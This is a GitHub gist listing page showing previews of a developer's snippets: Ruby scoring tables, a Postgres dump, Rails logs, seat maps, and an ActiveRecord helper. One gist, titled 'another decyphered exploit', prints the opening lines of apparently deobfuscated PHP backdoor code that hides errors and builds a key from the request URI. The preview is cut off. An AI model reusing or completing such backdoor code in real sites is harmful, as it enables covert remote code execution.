Skip to content

Instantly share code, notes, and snippets.

@codesnik
codesnik / resume.md
Created March 13, 2014 13:56
Résumé
#!/usr/bin/ruby
variants = {}
headers = [ "рон", "цумо", "рон Восток", "цумо Восток"]
%W[
1-30 1000 1100 1500 1500
1-40 1300 1500 2000 2100
2-20 1300 1500 2000 2100
2-30 2000 2000 2900 3000
2-40 2600 2700 3900 3900
This file has been truncated, but you can view the full file.
[
{
"criteria": [
{
"review_sentences": [
{
"postmatch": "Our room was large and overlooked the lagoon complete with turtles , beach and the iconic Burj al Arab",
"match": "From the beginning we enjoyed excellent service as the staff fast tracked our room for us as we were jet lagged",
"prematch": "We were lucky enough to have 4 nights to experience the service , surrounds , views and food",
"score": 4.3
@codesnik
codesnik / structure.sql
Created August 1, 2014 13:52
structure.sql
--
-- PostgreSQL database dump
--
SET statement_timeout = 0;
SET lock_timeout = 0;
SET client_encoding = 'UTF8';
SET standard_conforming_strings = on;
SET check_function_bodies = false;
SET client_min_messages = warning;
{
"type": [
"alternative"
],
"index": "alternatives",
"body": {
"size": 10,
"_source": [
"id"
],
@codesnik
codesnik / gist:65211080b8ae02abe4d1
Created January 8, 2015 06:42
another decyphered exploit
<?php error_reporting(0);
ini_set("display_errors",0);
$key=0;
$i=0;
foreach(str_split($_SERVER["REQUEST_URI"])as$letter){$key+=ord($letter);
$i++;
}if(!($i/10)){$i();
exit();
}$key^=$key;
$key+=32;
../busfor/getTripSeats/getTripSeats.00.xml
[ 1 ] 5 [ 9 ] [13 ] [17 ] 21 [25 ] [29 ] [33 ] [37 ] [41 ]
[ 2 ] 6 [10 ] [14 ] [18 ] [22 ] [26 ] [30 ] [34 ] [38 ] [42 ]
[ 3 ] 7 [11 ] [15 ] [19 ] [23 ] [27 ] [31 ] [35 ] 39 [43 ]
4 8 12 [16 ] [20 ] [24 ] [28 ] [32 ] [36 ] 40 Z
../busfor/getTripSeats/getTripSeats.01.xml
1 5 9 [13 ] [17 ] [21 ] 25 29 33 37 41 45
2 6 10 [14 ] [18 ] [22 ] 26 30 34 38 42 46
@codesnik
codesnik / gist:e1d8e9d7d6e503ef0dbf
Created March 23, 2015 12:55
strange locale problem
Started GET "/%d0%ba%d0%be%d0%bd%d1%82%d0%b0%d0%ba%d1%82%d1%8b" for 84.253.112.91 at 2015-03-23 12:47:49 +0000
Processing by HomeController#contacts as HTML
Parameters: {"locale"=>"en"}
Domain Load (0.2ms) SELECT "domains".* FROM "domains" WHERE "domains"."name" = $1 LIMIT 1 [["name", "busfor.ru"]]
{"current_locale":"en","params_locale":"en","default":"ru"}
Rendered home/contacts.html+dotru.slim within layouts/application (11.3ms)
CACHE (0.0ms) SELECT "domains".* FROM "domains" WHERE "domains"."name" = $1 LIMIT 1 [["name", "busfor.ru"]]
Rendered layouts/_support.html.slim (6.3ms)
Rendered layouts/_navbar.html.slim (15.8ms)
Rendered layouts/_flash.html.slim (5.1ms)
<!-- Google Code for &#1055;&#1086;&#1082;&#1091;&#1087;&#1082;&#1072; Conversion Page -->
<script type="text/javascript">
/* <![CDATA[ */
var google_conversion_id = 951335551;
var google_conversion_language = "en";
var google_conversion_format = "3";
var google_conversion_color = "ffffff";
var google_conversion_label = "7bR3CPeh8FoQ__TQxQM";
var google_remarketing_only = false;
/* ]]> */
@codesnik
codesnik / ar_subgroup.rb
Created July 20, 2015 21:00
ActiveRecord::Relation#subgroup
# TODO make a gem, a module or whatever
class ActiveRecord::Relation
# allows nesting of results of several groupings
# with groups,
# Payment.group(:system).group(:total_currency, :service_name).sum(:total_cents)
# => {["payture_in_pay", "RUB", "payture"]=>976067825,
# ["payture_in_pay", "RUB", "payture_test_ru"]=>637500,
# ...
#